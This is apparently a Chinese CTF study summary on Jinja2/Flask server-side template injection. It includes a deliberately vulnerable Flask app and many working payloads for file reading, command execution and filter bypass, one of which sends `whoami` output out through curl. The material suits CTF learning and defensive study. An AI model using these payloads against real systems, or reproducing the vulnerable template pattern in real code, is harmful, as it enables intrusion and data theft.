flask框架类型的题目,在最近几次的比赛中经常出现,但是每次出现都会让人苦不堪言,因为实在是不了解该类型的题目,所以有必要花时间总结一下该类型题目的套路

0x1 基础知识

从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎

模板的基本语法

官方文档对于模板的语法介绍如下

1
2
3
4
5
6
7
{% ... %} for Statements

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

# ... ## for Line Statements

常见的魔术方法

  • __class__

用于返回对象所属的类

1
2
3
4
5
6
7
Python 3.7.8
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
  • __base__

以字符串的形式返回一个类所继承的类

  • __bases__

以元组的形式返回一个类所继承的类

  • __mro__

获取类的所有子类

  • __init__

所有自带带类都包含init方法,常用他当跳板来调用globals

  • __globals__

会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用

漏洞成因

存在模板注入漏洞原因有二,一是存在用户输入变量可控,二是了使用不固定的模板,这里简单给出一个存在SSTI的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
name = request.args.get('name')
template = '''
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, %s !</h3>
</body>
</html>
'''% (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

提交参数name={{2-1}},会显示1,这也是测试ssti的一种常用的方法

下图是常用的测试方法和对应的模板类型

0x2 构造链思路

这里从零开始介绍如何去构造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py做实验

  • 第一步

目的:使用__class__来获取内置类所对应的类

可以通过使用strlisttupledict等来获取

1
2
3
4
5
6
7
8
9
10
11
12
Python 3.7.8
>>> ''.__class__
<class 'str'>
>>> "".__class__
<class 'str'>
>>> [].__class__
<class 'list'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>

  • 第二步

目的:拿到object基类

__bases__[0]拿到基类

1
2
3
Python 3.7.8
>>> ''.__class__.__bases__[0]
<class 'object'>

__base__拿到基类

1
2
3
Python 3.7.8
>>> ''.__class__.__base__
<class 'object'>

__mro__[1]或者__mro__[-1]拿到基类

1
2
3
4
5
Python 3.7.8
>>> ''.__class__.__mro__[1]
<class 'object'>
>>> ''.__class__.__mro__[-1]
<class 'object'>
  • 第三步

__subclasses__()拿到子类列表

1
2
3
Python 3.7.8
>>> ''.__class__.__bases__[0].__subclasses__()
...一大堆的子类
  • 第四步

在子类列表中找到可以getshell的类

然后直接调用里面的方法即可,payload如下

读文件payload

1
2
3
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}

命令执行构造

在双大括号我们可以执行表达式,但是命名空间是受限的,没有builtins,所以eval,open这些操作是不能使用的,但根据前面的知识,我们可以通过任意一个函数的func_globals而得到他们的命名空间,而得到builtins

flask内置函数

这种方法之前好像没人提过

Flask 内置了两个函数url_for 和 get_flashed_messages,还有一些内置的对象

1
2
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}

如果过滤了config,又需要查config

1
2
{{config}}
{{get_flashed_messages.__globals__['current_app'].config}}

通过基类查找子类

虽然模块间的变量不共享,但是所有类都是object的子类,所以可以通过object类而得到其他类

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]

等得到object 对象,然后通过__subclasses__()方法,得到所有子类,在找重载过__inti__,__repr__等特殊方法的类,利用这些方法的__globals__得到,__builtins__,或者os,codecs等可以进行代码执行的调用.

常见payload

1
2
// 59 为warnings.WarningMessag
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

不使用globals的payload

1
2
3
4
// <class 'warnings.catch_warnings'>类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,
如果可以找到warnings.catch_warnings类,则可以不使用 globals

''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")

0x3 过滤绕过

前置知识

  • 利用python的魔术方法,也可以实现字典,数组取值等操作
  • Jinja2对模板做了特殊处理,所以通过
1
A['__init__']

也可以访问A的方法,属性

  • Jinja2 的attr 过滤器可以获得对象的属性或方法

  • flask内置的request对象可以得到请求的信息

    1
    2
    3
    4
    5
    request.args.name
    request.cookies.name
    request.headers.name
    request.values.name
    request.form.name

关键字过滤

没过滤引号

  • 如果没用过滤引号,使用反转,或者各种拼接绕过
1
2
3
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}

{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}

过滤了引号

  • 利用将需要的变量放在请求中,然后通过[],或者通过attr,__getattribute__获得
1
2
3
4
5
// url?a=eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.[request.args.a]('__import__("os").popen("ls").read()')

// Cookie: aa=__class__;bb=__mro__;cc=__subclasses__
{{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}
  • 如果request被ban,可以考虑通过

    1
    {{(config.__str__()[2])+(config.__str__()[3])}}

    拼接需要的字符

  • 查出chr函数,利用set赋值,然后使用

1
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
  • 利用内置过滤器拼接出,’%c’,再利用’’%语法得到任意字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
get %
找到特殊字符<,url编码,得到%
{%set pc = g|lower|list|first|urlencode|first%}


get 'c'

{%set c=dict(c=1).keys()|reverse|first%}

字符串拼接

{%set udl=dict(a=pc,c=c).values()|join %}

可以得到任意字符了

get _
{%set udl2=udl%(95)%}{{udl}}

特殊字符过滤

其他奇奇怪怪的过滤,善用Flask/Jinja2的文档,用内置过滤器,函数,变量,魔术方法等绕过

如果是替换为空,可以尝试双写绕过,或者使用黑名单逻辑漏洞错误绕过,即使用黑名单最后一个关键字替换绕过

如果直接ban了,就可以使用字符串拼接的方式等方法进行绕过,常用方法如下

  • 拼接字符绕过

这里以过滤class为例子,用中括号括起来然后里面用引号连接,可以用+号或者不用

1
2
{{()['__cla'+'ss__'].__bases__[0]}}
{{()['__cla''ss__'].__bases__[0]}}

随便写个payload如下

1
{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}

或者可以使用join来进行拼接

1
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
  • 使用使用str原生函数

replace绕过,payload如下

1
2
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
复制代码

decode绕过,但这种方法经过测试只能在python2下使用,payload如下

1
2
{{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
复制代码
  • 替代的方法

过滤init,可以用__enter____exit__替代

1
2
3
4
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
复制代码

过滤config,如果被过滤了可以使用以下的payload绕过

1
2
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}

过滤 [

可以使用__getitem__pop替代中括号,取列表的第n位

1
2
3
4
5
6
7
8
9
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}

{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}

过滤双花括号

1
2
3
4
5
6
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
这样会没有回显,考虑带外或者盲注

# 用{%print%}标记,有回显
{%print config%}

过滤下划线

和过滤字符串一样绕过即可

或编码绕过

使用十六进制编码绕过,_编码后为\x5f.编码后为\x2E

0x4 实战例子

过滤_.'

这里顺便给一个不常见的方法,主要是找到_frozen_importlib_external.FileLoaderget_data()方法,第一个是参数0,第二个为要读取的文件名,payload如下

1
2
{{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}
复制代码

使用十六进制绕过后,payload如下

1
2
{{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}}
复制代码

过滤args._

之前安恒二月赛在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()绕过点,values绕过args,payload如下

1
2
3
4
{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}}

post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()
复制代码

导入主函数读取变量

有一些题目我们不并需要去getshell,比如flag直接暴露在变量里面了,像如下这样把/flag文件加载到flag这个变量里面了

1
2
f = open('/flag','r')
flag = f.read()

我们就可以通过import是导入__main__主函数去读变量,payload如下

1
{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}

base64编码

对关键字进行base64编码可绕过一些明文检测机制:

1
2
3
4
5
6
7
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0

过滤了 ', “, [, ], _, 双花括号,args, values

过滤了单双引号导致调用函数时不能直接使用字符串常量,但是可以使用变量传值,比如cookies或者 headers(不能使用get或方法ost),过滤下划线可以使用管道符外加调用attr()方法来绕过。

payload

1
2
3
4
5
6
7
8
9
url?args=
{%print((()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies
.c)()|attr(request.cookies.d)
(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.d)
(request.cookies.g))(request.cookies.h).read())%}
Cookie: h=cat
f*;a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals_
_;g=popen

过滤了', “, [, ], _, 双花括号,values

与上面类似

payload

1
2
3
url?args={%print((()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(132)|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)(request.args.g))(request.args.h).read())%}&h=cat
f*&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals_
_&g=popen

过滤了', “, [, ], _, 双花括号,args

使用post方法

1
2
url?args={%print((()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g))(request.values.h).read())%}
POST:h=cat f*&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen

参考连接:

https://xz.aliyun.com/t/5399

细说Jinja2之SSTI&bypass